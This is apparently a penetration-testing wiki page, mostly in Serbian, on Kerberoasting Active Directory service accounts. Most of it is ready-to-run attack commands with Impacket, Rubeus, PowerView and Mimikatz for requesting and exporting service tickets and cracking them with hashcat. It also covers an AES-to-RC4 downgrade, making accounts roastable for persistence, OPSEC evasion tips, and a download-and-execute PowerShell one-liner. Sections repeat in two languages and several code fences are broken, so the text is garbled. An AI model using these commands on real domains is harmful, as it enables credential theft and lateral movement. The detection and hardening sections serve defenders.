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## Kerberoast
Kerberoasting se fokusira na sticanje **TGS karata**, posebno onih povezanih sa uslugama koje rade pod **korisničkim nalozima** u **Active Directory (AD)**, isključujući **račune računara**. Enkripcija ovih karata koristi ključeve koji potiču od **korisničkih lozinki**, što omogućava mogućnost **offline krakenja kredencijala**. Korišćenje korisničkog naloga kao usluge označeno je ne-praznim **"ServicePrincipalName"** svojstvom.
Kerberoasting se fokusira na sticanje TGS karata, posebno onih koje se odnose na usluge koje rade pod korisničkim nalozima u Active Directory (AD), isključujući račune računara. Enkripcija ovih karata koristi ključeve koji potiču od korisničkih lozinki, što omogućava offline razbijanje kredencijala. Korišćenje korisničkog naloga kao usluge označeno je ne-praznim svojstvom ServicePrincipalName (SPN).
Za izvršavanje **Kerberoastinga**, neophodan je domen nalog sposoban da zahteva **TGS karte**; međutim, ovaj proces ne zahteva **posebne privilegije**, što ga čini dostupnim svima sa **važećim domen kredencijalima**.
Svaki autentifikovani korisnik domena može zatražiti TGS karte, tako da nisu potrebne posebne privilegije.
### Ključne tačke:
### Ključne tačke
- **Kerberoasting** cilja **TGS karte** za **usluge korisničkih naloga** unutar **AD**.
- Karte enkriptovane sa ključevima iz **korisničkih lozinki** mogu se **krakati offline**.
- Usluga se identifikuje po **ServicePrincipalName** koji nije null.
- **Nema posebnih privilegija** potrebnih, samo **važeći domen kredencijali**.
### **Napad**
- Cilja TGS karte za usluge koje rade pod korisničkim nalozima (tj. računi sa postavljenim SPN; ne računi računara).
- Karte su enkriptovane ključem dobijenim iz lozinke servisnog naloga i mogu se razbiti offline.
- Nisu potrebne povišene privilegije; svaki autentifikovani nalog može zatražiti TGS karte.
> [!WARNING]
> **Kerberoasting alati** obično zahtevaju **`RC4 enkripciju`** prilikom izvođenja napada i iniciranja TGS-REQ zahteva. To je zato što je **RC4** [**slabiji**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) i lakše se kraka offline koristeći alate kao što je Hashcat nego druge algoritme enkripcije kao što su AES-128 i AES-256.\
> RC4 (tip 23) hešovi počinju sa **`$krb5tgs$23$*`** dok AES-256 (tip 18) počinju sa **`$krb5tgs$18$*`**.`
> Pored toga, budite oprezni jer `Rubeus.exe kerberoast` automatski zahteva karte preko SVIH ranjivih naloga što će vas otkriti. Prvo, pronađite kerberoastable korisnike sa zanimljivim privilegijama i zatim ga pokrenite samo nad njima.
```bash
> Većina javnih alata preferira zahtev za RC4-HMAC (etype 23) servisne karte jer su brže za razbijanje od AES. RC4 TGS heševi počinju sa `$krb5tgs$23$*`, AES128 sa `$krb5tgs$17$*`, a AES256 sa `$krb5tgs$18$*`. Međutim, mnoge sredine prelaze na isključivo AES. Ne pretpostavljajte da je samo RC4 relevantan.
> Takođe, izbegavajte “spray-and-pray” roasting. Podrazumevani kerberoast Rubeusa može da upita i zatraži karte za sve SPN-ove i bučan je. Prvo enumerišite i ciljate zanimljive principe.
#### **Linux**
```bash
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Biće zatražena lozinka
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerišite kerberoastable korisnike
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Ispisivanje hash-eva
```
Multi-features tools including a dump of kerberoastable users:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
```
#### Windows
- **Enumerate Kerberoastable users**
```bash
# Dobijanje Kerberoastable korisnika
setspn.exe -Q */* #Ovo je ugrađeni binarni fajl. Fokusirajte se na korisničke naloge
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
```
- **Technique 1: Ask for TGS and dump it from memory**
```bash
#Preuzmi TGS u memoriji od jednog korisnika
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Primer: MSSQLSvc/mgmt.domain.local
#Preuzmi TGS-ove za SVE kerberoastable naloge (PC-ovi uključeni, nije baš pametno)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#Prikaži kerberos karte u memoriji
klist
# Izvuci ih iz memorije
Invoke-Mimikatz -Command '"kerberos::list /export"' #Izvezi karte u trenutni folder
# Transformiši kirbi kartu u john
python2.7 kirbi2john.py sqldev.kirbi
# Transformiši john u hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
- **Technique 2: Automatic tools**
```bash
# Powerview: Preuzmi Kerberoast hash korisnika
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Koristeći PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Preuzmi sve Kerberoast hasheve
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specifičan korisnik
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Preuzmi administratore
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
> [!WARNING]
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
### Cracking
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Persistence
If you have **enough permissions** over a user you can **make it kerberoastable**:
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`
### Mitigation
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
To mitigate the risk of Kerberoasting:
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
## Kerberoast w/o domain account
In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
> [!WARNING]
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
### Napad
#### Linux
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
```
# Metasploit Framework
msf> use auxiliary/gather/get_user_spns
# Impacket — request and save roastable hashes (prompts for password)
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# With NT hash
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USER> -outputfile hashes.kerberoast
# Target a specific users SPNs only (reduce noise)
GetUserSPNs.py -request-user <samAccountName> -dc-ip <DC_IP> <DOMAIN>/<USER>
# kerberoast by @skelsec (enumerate and roast)
# 1) Enumerate kerberoastable users via LDAP
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -o kerberoastable
# 2) Request TGS for selected SPNs and dump
kerberoast spnroast 'kerberos+password://<DOMAIN>\\<USER>:<PASS>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes
```
Alati sa više funkcija uključuju kerberoast provere:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN> -ip <DC_IP> -u <USER> -p <PASS> -c
```
#### Windows
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
- Enumerisati kerberoastable korisnike
```powershell
# Built-in
setspn.exe -Q */* # Focus on entries where the backing object is a user, not a computer ($)
```bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
# PowerView
Get-NetUser -SPN | Select-Object serviceprincipalname
# Rubeus stats (AES/RC4 coverage, pwd-last-set years, etc.)
.\Rubeus.exe kerberoast /stats
```
- Tehnika 1: Zatražite TGS i preuzmite iz memorije
```powershell
# Acquire a single service ticket in memory for a known SPN
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>" # e.g. MSSQLSvc/mgmt.domain.local
# Get all cached Kerberos tickets
klist
# Export tickets from LSASS (requires admin)
Invoke-Mimikatz -Command '"kerberos::list /export"'
# Convert to cracking formats
python2.7 kirbi2john.py .\some_service.kirbi > tgs.john
# Optional: convert john -> hashcat etype23 if needed
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$*\1*$\2/' tgs.john > tgs.hashcat
```
- Tehnika 2: Automatski alati
```powershell
# PowerView — single SPN to hashcat format
Request-SPNTicket -SPN "<SPN>" -Format Hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
# PowerView — all user SPNs -> CSV
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus — default kerberoast (be careful, can be noisy)
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# Rubeus — target a single account
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast
# Rubeus — target admins only
.\Rubeus.exe kerberoast /ldapfilter:'(admincount=1)' /nowrap
```
> [!WARNING]
> TGS zahtev generiše Windows Security Event 4769 (Zatražen je Kerberos servisni tiket).
### OPSEC i okruženja samo sa AES-om
- Namerno zatražite RC4 za naloge bez AES-a:
- Rubeus: `/rc4opsec` koristi tgtdeleg za enumeraciju naloga bez AES-a i zahteva RC4 servisne tikete.
- Rubeus: `/tgtdeleg` sa kerberoast takođe pokreće RC4 zahteve gde je to moguće.
- Pecajte naloge samo sa AES-om umesto da tiho propadnete:
- Rubeus: `/aes` enumeriše naloge sa uključenim AES-om i zahteva AES servisne tikete (etype 17/18).
- Ako već imate TGT (PTT ili iz .kirbi), možete koristiti `/ticket:<blob|path>` sa `/spn:<SPN>` ili `/spns:<file>` i preskočiti LDAP.
- Ciljanje, ograničavanje i manje buke:
- Koristite `/user:<sam>`, `/spn:<spn>`, `/resultlimit:<N>`, `/delay:<ms>` i `/jitter:<1-100>`.
- Filtrirajte za verovatno slabe lozinke koristeći `/pwdsetbefore:<MM-dd-yyyy>` (starije lozinke) ili ciljate privilegovane OU-e sa `/ou:<DN>`.
Primeri (Rubeus):
```powershell
# Kerberoast only AES-enabled accounts
.\Rubeus.exe kerberoast /aes /outfile:hashes.aes
# Request RC4 for accounts without AES (downgrade via tgtdeleg)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.rc4
# Roast a specific SPN with an existing TGT from a non-domain-joined host
.\Rubeus.exe kerberoast /ticket:C:\\temp\\tgt.kirbi /spn:MSSQLSvc/sql01.domain.local
```
### Kršenje
```bash
# John the Ripper
john --format=krb5tgs --wordlist=wordlist.txt hashes.kerberoast
# Hashcat
# RC4-HMAC (etype 23)
hashcat -m 13100 -a 0 hashes.rc4 wordlist.txt
# AES128-CTS-HMAC-SHA1-96 (etype 17)
hashcat -m 19600 -a 0 hashes.aes128 wordlist.txt
# AES256-CTS-HMAC-SHA1-96 (etype 18)
hashcat -m 19700 -a 0 hashes.aes256 wordlist.txt
```
### Persistence / Abuse
Ako kontrolišete ili možete da modifikujete nalog, možete ga učiniti kerberoastable dodavanjem SPN-a:
```powershell
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='fake/WhateverUn1Que'} -Verbose
```
Smanjite nivo naloga da omogućite RC4 za lakše razbijanje (zahteva privilegije pisanja na ciljanom objektu):
```powershell
# Allow only RC4 (value 4) — very noisy/risky from a blue-team perspective
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=4}
# Mixed RC4+AES (value 28)
Set-ADUser -Identity <username> -Replace @{msDS-SupportedEncryptionTypes=28}
```
Možete pronaći korisne alate za kerberoast napade ovde: https://github.com/nidem/kerberoast
Ako dobijete ovu grešku iz Linux-a: `Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)` to je zbog lokalnog vremenskog pomaka. Sinhronizujte sa DC:
- `ntpdate <DC_IP>` (deprecated na nekim distribucijama)
- `rdate -n <DC_IP>`
### Detekcija
Kerberoasting može biti neprimetan. Pratite Event ID 4769 sa DC-ova i primenite filtere da smanjite šum:
- Isključite ime usluge `krbtgt` i imena usluga koja se završavaju sa `$` (računi računara).
- Isključite zahteve sa računa mašine (`*$$@*`).
- Samo uspešni zahtevi (Kod greške `0x0`).
- Pratite tipove enkripcije: RC4 (`0x17`), AES128 (`0x11`), AES256 (`0x12`). Ne upozoravajte samo na `0x17`.
Primer PowerShell triage:
```powershell
Get-WinEvent -FilterHashtable @{Logname='Security'; ID=4769} -MaxEvents 1000 |
Where-Object {
($_.Message -notmatch 'krbtgt') -and
($_.Message -notmatch '\$$') -and
($_.Message -match 'Failure Code:\s+0x0') -and
($_.Message -match 'Ticket Encryption Type:\s+(0x17|0x12|0x11)') -and
($_.Message -notmatch '\$@')
} |
Select-Object -ExpandProperty Message
```
Dodatne ideje:
- Osnovna normalna upotreba SPN po hostu/korisniku; upozoriti na velike izlive različitih SPN zahteva od jednog principala.
- Oznaka neobične upotrebe RC4 u AES-ojačanim domenima.
### Ublažavanje / Ojačavanje
- Koristite gMSA/dMSA ili mašinske naloge za usluge. Upravljani nalozi imaju nasumične lozinke duže od 120 karaktera i automatski se rotiraju, što čini offline razbijanje nepraktičnim.
- Sprovodite AES na nalozima usluga postavljanjem `msDS-SupportedEncryptionTypes` na samo AES (decimal 24 / hex 0x18) i zatim rotirajte lozinku kako bi se AES ključevi izveli.
- Gde god je to moguće, onemogućite RC4 u vašem okruženju i pratite pokušaje korišćenja RC4. Na DC-ima možete koristiti `DefaultDomainSupportedEncTypes` registry vrednost da usmerite podrazumevane postavke za naloge bez postavljenog `msDS-SupportedEncryptionTypes`. Temeljno testirajte.
- Uklonite nepotrebne SPN-ove sa korisničkih naloga.
- Koristite duge, nasumične lozinke za naloge usluga (25+ karaktera) ako upravljani nalozi nisu izvodljivi; zabranite uobičajene lozinke i redovno vršite reviziju.
### Kerberoast bez domena (AS-zahtevani ST)
U septembru 2022. godine, Charlie Clark je pokazao da, ako principal ne zahteva prethodnu autentifikaciju, može se dobiti servisna karta putem kreiranog KRB_AS_REQ menjajući sname u telu zahteva, efektivno dobijajući servisnu kartu umesto TGT. Ovo odražava AS-REP roasting i ne zahteva važeće domenske akreditive.
Pogledajte detalje: Semperis članak “Novi napadi: AS-zahtevani ST”.
> [!WARNING]
> Morate pružiti listu korisnika jer bez važećih akreditiva ne možete upititi LDAP ovom tehnikom.
Linux
- Impacket (PR #1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/
```
Windows
- Rubeus (PR #139):
```powershell
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:domain.local /dc:dc.domain.local /nopreauth:NO_PREAUTH_USER /spn:TARGET_SERVICE
```
Related
Ako ciljate AS-REP roastable korisnike, pogledajte takođe:
{{#ref}}
asreproast.md
{{#endref}}
## References
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)
- Microsoft Security Blog (2024-10-11) Microsoftove smernice za pomoć u ublažavanju Kerberoasting-a: https://www.microsoft.com/en-us/security/blog/2024/10/11/microsofts-guidance-to-help-mitigate-kerberoasting/
- SpecterOps Rubeus Roasting dokumentacija: https://docs.specterops.io/ghostpack/rubeus/roasting
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